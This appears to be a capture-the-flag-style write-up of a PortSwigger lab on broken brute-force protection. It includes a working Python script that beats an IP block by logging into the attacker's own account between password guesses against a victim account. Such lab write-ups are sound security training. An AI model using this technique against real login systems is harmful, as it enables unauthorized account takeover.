Authentication Vulnerabilities: Lab 4: Broken brute-force protection, IP block

Nov 6, 2025    #websecurity   #portswigger   #web-exploitation   #security-research   #authentication   #login   #username-enumeration   #timing-attack   #response-timing   #side-channel   #portswigger-labs   #ctf-writeup   #python  

Lab 4: Broken brute-force protection, IP block:

This lab is vulnerable due to a logic flaw in its password brute-force protection. To solve the lab, brute-force the victim’s password, then log in and access their account page.

Your credentials: wiener:peter Victim’s username: carlos Candidate passwords

Initial Reconnaissance/Discovery:

As usual we are given a simple web application which has a “My account” section for us to login.

We will login with our own credentials so we can take a look at the requests.

Looking at the request there is nothing out of the ordinary regarding it.

Trying to bruteforce Carlos’ password:

So let’s see what happens if we just try and bruteforce the password…here’s a hint, it won’t work…

We send the POST request to repeater and set our injection point as the password field and copy the provided password list to the payloads panel as well as set the username to be “carlos”.

As suspected we are rate limited as we get the below response which says “You have made too many incorrect login attempts. Please try again in 1 minute(s).”

Now we have a few options here, we could do this very slowly and actually only send a few requests at a time with large breaks in between or we could do what was suggested in the preceding section.

Re-reading the page prior to the lab we can see the below, which gives a pretty big hint on what we need to do to bypass the restriction’s:

For example, you might sometimes find that your IP is blocked if you fail to log in too many times. In some implementations, the counter for the number of failed attempts resets if the IP owner logs in successfully. This means an attacker would simply have to log in to their own account every few attempts to prevent this limit from ever being reached.

In this case, merely including your own login credentials at regular intervals throughout the wordlist is enough to render this defense virtually useless.

So reading that all we have to do is include our credentials at regular intervals as a means to bypass the restrictions.

Looking at the requests from our first attempt we can see that the restrictions came in on the 3rd invalid attempt, this means we need to have login with our credentials at least every 2nd attempt.

Now there are ways to do with this burp but I am also trying to get more adept at python (I’ve gotten a little sloppy as of late) so let’s code a solution that can do this.

Scripting A Solution:

For the below solution to work it requires that we copy the passwords list into a file called “pass.txt” and also download the burp ca certificate which will enable proxying through burp, you can however remove all the proxy information and it will still work.

Prep The Certificate:

If you want to proxy traffic through burp this is mandatory.

Open burp’s in built web browser and go to http://burpsuite & download the certificate by clicking on “CA Certificate” button on the top right corner.

Convert the certificate to the .pem format so the python requests module can use it.

openssl x509 -inform der -in certificate.cer -out certificate.pem

Write Our Bruteforcer:

This is relatively simple in terms of what it does however I will still break it down in-case you are unfamiliar with what is going on.

#!/usr/bin/env python3
import requests
import os
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

proxy = 'http://127.0.0.1:8080'
os.environ['HTTP_PROXY'] = proxy
os.environ['HTTPS_PROXY'] = proxy
os.environ['REQUESTS_CA_BUNDLE'] = "certificate.pem"

proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
url="https://0a2900920491726381e467b4003700b5.web-security-academy.net/login"

with open("pass.txt", 'r') as passes:
    for line in passes:
        password=(line.rstrip('\n'))

        realRequest=requests.post(url, proxies=proxies, verify=False, data={
           'username': 'wiener',
           'password': 'peter',
        })

        bruteRequest=requests.post(url, proxies=proxies, verify=False, data={
            'username': 'carlos',
            'password': password,
        })
        print(bruteRequest.status_code, password)
Code Breakdown:

Checking Burp For Our Results:

If we check burp we can see that we have logged in as carlos.

And if we navigate back to the page we can see we have solved the lab.



Next: Authentication Vulnerabilities: Lab 5: Username enumeration via account lock